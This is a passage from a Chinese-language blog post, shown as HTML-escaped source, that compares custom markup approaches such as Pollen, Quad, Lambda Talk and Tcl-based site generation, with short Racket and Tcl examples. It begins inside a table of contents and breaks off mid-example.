        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Lambda_Project&quot;&gt;Lambda Project&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Tcl&quot;&gt;Tcl&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#在Markdown里插入代码&quot;&gt;在Markdown里插入代码&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#MDX&quot;&gt;MDX&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Pandoc_filters&quot;&gt;Pandoc filters&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#为什么不用Org-mode&quot;&gt;为什么不用Org-mode&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Soupault&quot;&gt;Soupault&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Pollen&quot;&gt;Pollen&lt;&#x2F;h2&gt;
&lt;p&gt;我是在读在线书《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;practicaltypography.com&#x2F;&quot;&gt;Practical
Typography&lt;&#x2F;a&gt;》时发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的：那本书的作者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Matthew
Butterick（MB）曾经用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WordPress&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发布过一本在线书，但是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;practicaltypography.com&#x2F;how-this-book-was-made.html&quot;&gt;他觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WordPress&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不够灵活，所以基于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scribble&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方言创造了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;It occurred to me that what I wanted was not a simple but regimented
system like WordPress—it just wouldn’t let me work with the
sophistication and detail I needed. Instead, I wanted a flexible tool
for describing complex HTML &amp;amp; CSS layouts with simpler, high-level
notation.&lt;&#x2F;p&gt;
&lt;p&gt;In short: I wanted my own programming language.&lt;br &#x2F;&gt;
…&lt;br &#x2F;&gt;
So I did. I named the resulting language Pollen.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来写&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;A-Canticle-For-Syd-Mead&#x2F;&quot;&gt;博客&lt;&#x2F;a&gt;的话，大概是这样：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;racket&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;#lang&lt;&#x2F;span&gt;&lt;span&gt; pollen&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;◊&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;define-meta title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;席德・米德的赞歌&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;              date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;2019-12-31T15:59:56+08:00&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;              tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;Painting Gundam&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;◊image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;图片地址&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]{&lt;&#x2F;span&gt;&lt;span&gt;图片描述&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;小时候第一眼看到倒A高达就迷得不行，&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;还去他的网站想找找有没有倒A的设计图啥的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;然后发现了好多没见过风格的画，&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;最后右键下载了一张◊link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;链接地址&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]{&lt;&#x2F;span&gt;&lt;span&gt;特厉害的红色高架桥&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;眼里，整个文章是一个形如下面形式的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;pollen&#x2F;second-tutorial.html#%28part._.X-expressions%29&quot;&gt;X-expression&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;其实这只是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;xml&#x2F;index.html?q=#(def._((lib._xml&#x2F;private&#x2F;xexpr-core..rkt)._xexpr~3f))&quot;&gt;真正的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-expression&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的一部分，我省略了一些我没有用过的形式。另外，完整的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-expression&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S-expression&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的特例。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;racket&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;xexpr = string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span&gt; (list symbol (list (list symbol string) ...) xexpr ...)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      | (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt; symbol&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt; xexpr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;文本中以菱形开头的叫作&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag，它们对应同名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag
function。每个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag
function&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接收括号里的参数，经过你想要的处理后返回一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-expression。以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;image&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;link&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为例，你可以把它们变成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;img&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;a&amp;gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;racket&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;#lang&lt;&#x2F;span&gt;&lt;span&gt; racket&#x2F;base&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;provide&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; url alt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;img&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ([&lt;&#x2F;span&gt;&lt;span&gt;alt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt;alt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; url text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ([&lt;&#x2F;span&gt;&lt;span&gt;href&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt;text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所有的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag
function&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;执行完毕后我们就可以得到经过转换的，表示整个文本的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-expression。此时你可以遍历它，来生成自己想要的输出——可以是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML、PDF，或者未来出现的任意格式。&lt;&#x2F;p&gt;
&lt;p&gt;如果你觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多此一举，不如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话，不妨读一读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的这两段文字：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;pollen&#x2F;third-tutorial.html#%28part._.Optional_reading__.What_are_custom_tags_good_for_%29&quot;&gt;What are custom tags good
for?&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;pollen&#x2F;second-tutorial.html#%28part._the-case-against-markdown%29&quot;&gt;The case against
Markdown&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果你想使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen，可以&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;pollen&quot;&gt;看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写的文档&lt;&#x2F;a&gt;。MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quick
tour、The big
picutre、连续的四个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tutorial&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及按话题分章节的讨论。我希望所有写文档的人都向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;学习。&lt;&#x2F;p&gt;
&lt;p&gt;我尝试过使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写博客，但它运行起来实在太慢了，所以放弃了：写博客可是要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;live
preview&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的。但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的想法真的很好，所以我仍然很喜欢它。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Quad&quot;&gt;Quad&lt;&#x2F;h3&gt;
&lt;p&gt;你可能早发现了，Pollen
tag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的格式太像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。但那只是表示方法像罢了，Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的重心并不是计算布局与输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF。我曾经感到可惜：Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可是能革&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命的工具，结果只差最后五十米。&lt;&#x2F;p&gt;
&lt;p&gt;后来发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;单独给那五十米做了一个叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.racket-lang.org&#x2F;quad&#x2F;#%28part._.What_is_.Quad_%29&quot;&gt;Quad&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的工具，并且可以和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;连接起来。只是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍处在早期阶段，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mbutterick&#x2F;pollen-users&#x2F;issues&#x2F;31#issuecomment-592058244&quot;&gt;支持的排版方式不多&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Lambda_Project&quot;&gt;Lambda Project&lt;&#x2F;h2&gt;
&lt;p&gt;Alain
Marty&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也发现了使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S-expression&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的结构比使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;XML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;清爽许多。他用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写了一个类&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语言&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lambda
Talk，让他可以混合计算和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML。然后他又为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lambda
Talk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写了可以用作&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;wiki&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的编辑器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lambda
Tank。他对这些以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lambda&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命名的项目的概述是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;S-expression based markup, styling &amp;amp; scripting&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我多次想搞明白这项目到底是怎么回事，但作者的介绍页排版实在有些不适合阅读。所以我对它的认识也只是介绍开头的部分。可是直觉告诉我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Alain
Marty&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在寻找的东西也是完全自己做主的标记语言。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;lambdaway.free.fr&#x2F;lambdawalks&#x2F;&quot;&gt;Lambda
Way&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的介绍页&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;found.ward.bay.wiki.org&#x2F;view&#x2F;lambda-console&quot;&gt;Ward
Cunningham&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;关于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lambda
Way&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的词条&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;Tcl&quot;&gt;Tcl&lt;&#x2F;h2&gt;
&lt;p&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是棵树，函数嵌套起来也是棵树，所以可以用嵌套的函数来表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML。如果用普通的编程语言以这种方式写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML，那函数调用的括号和字符串的引号将会充斥整个屏幕，给书写和阅读都带来困难。换句话说，如果有一种编程语言不需要括号和引号，那就很适合用来写博客。这样的编程语言确实存在，它的名字叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tcl（读作挠痒痒的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tickle&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;事实上，我是看到有人用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wooosh&#x2F;blog&quot;&gt;Tcl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;做静态网站生成器&lt;&#x2F;a&gt;才发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tcl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;确实挺合适的。在那个生成器里，每篇文章都是可以运行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tcl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;程序。多说无益，来看例子：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;tcl&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; Title 这是文章标题&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; Date &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1970&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;01&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; Contents {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  section 二级标题 {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    txt {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       Tcl里万物皆字符串。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       如果字符串需要换行，可以用花括号把它包裹起来。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       在这里的文字会被喂给cmark。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       cmark是命令行里的Markdown渲染器。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       所以这个生成器里可以写Markdown。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
